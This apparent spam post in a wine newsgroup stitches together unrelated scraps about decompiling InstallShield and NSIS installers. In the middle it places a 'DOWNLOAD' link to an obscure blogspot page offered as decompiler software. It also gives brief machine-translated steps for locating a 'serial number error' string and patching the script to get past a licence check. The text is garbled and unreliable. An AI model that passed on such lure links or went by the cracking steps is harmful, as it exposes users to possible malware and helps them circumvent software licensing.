From Newsgroup: alt.food.wine

I want the setup.rul file of one of the installshield exe that we have which was made using InstallShield 2012 I believe but I am unable to find any way on how to reverse engineer an InstallScript project from the installation media files i.e. its exe and get the setup.rul files which has the installscript code written in it.
[3] If the script isSetup. RebootIt indicates that the version is relatively high, which is produced by 6.x and 7.x. This is basically used now. You can use InstallShield decompiler and InstallShield 6/7 script decompiler to decompile the source code. InstallShield decompiler is a DOS window, which can be output to view the source code. InstallShield 6/7 script decompiler is a graphical interface and can edit the operator. However, it does not support Chinese characters well.
Decompiler Installshield Scripting
DOWNLOAD https://9intybobsno.blogspot.com/?hn=2wI34H
ThereforeSetup. RebootIn general, we first use InstallShield decompiler to export the script source code, get the correct Chinese information, and write down the offset address and machine code. Run InstallShield 6/7 script decompiler to open the script file and compile and modify the file according to the obtained offset address.
Then, find sensitive information such as "serial number error" in the TXT file. You can see the offset address before, and write it down to InstallShield 6/7 script decompiler to modify the script. Now there is no example to explain, it's boring.
XtremeMac, there is a installshield decompiler here I would take a look at those, I have not yet as I just found it, but I am going to soon...the only thing I can see is there is a version it doesnt go past, so if the installer is made with a newer version, it prolly wont work, but there ya go.
If you want to determine in more detail what is different between two MSI files (for example version 1 and 2 of a package), you can get a little more involved using a proper MSI file viewer or MSI decompiler.
IMHO, there is no need to do so. This could be easily done
via scripting.
NSIS allows you to access command line parameters. See
NSIS documentation ->Appendix C: Useful Scripts -> Get
command line parameters.
The previous two commenters are only thinking of options
available to developers. It's not that developers are unable
to create installers with flexible silent options, it's that
they don't bother to. This feature request is aimed at
making silent installations easier for USERS, not giving
NSIS script writers more scripting options. I'm talking
about administrators that need to easily deploy an
application to many desktops with absolutely no user
interaction, or people that want to quickly install all of
their favorite programs at once, such as from an unattended
Windows install disk (see \).
Currently, if an application's installer does not allow you
to silently set the options you require, it has to be
"repackaged" instead, which means you lose all the
logic/checking that was in the installer and just know what
files/registries were changed. There is currently no way I
know of to decompile NSIS installers and set the options I
want, therefore being able to add these options with NSIS
script is useless. Some NSIS installers don't even obey the
single /D=C:\Bla parameter for the install directory! I know
this is the developer's fault, and usually they just wrecked
that functionality accidentally. But seriously, when would
NSIS script authors EVER need to disable command line options?
eebf2c3492
--- Synchronet 3.21d-Linux NewsLink 1.2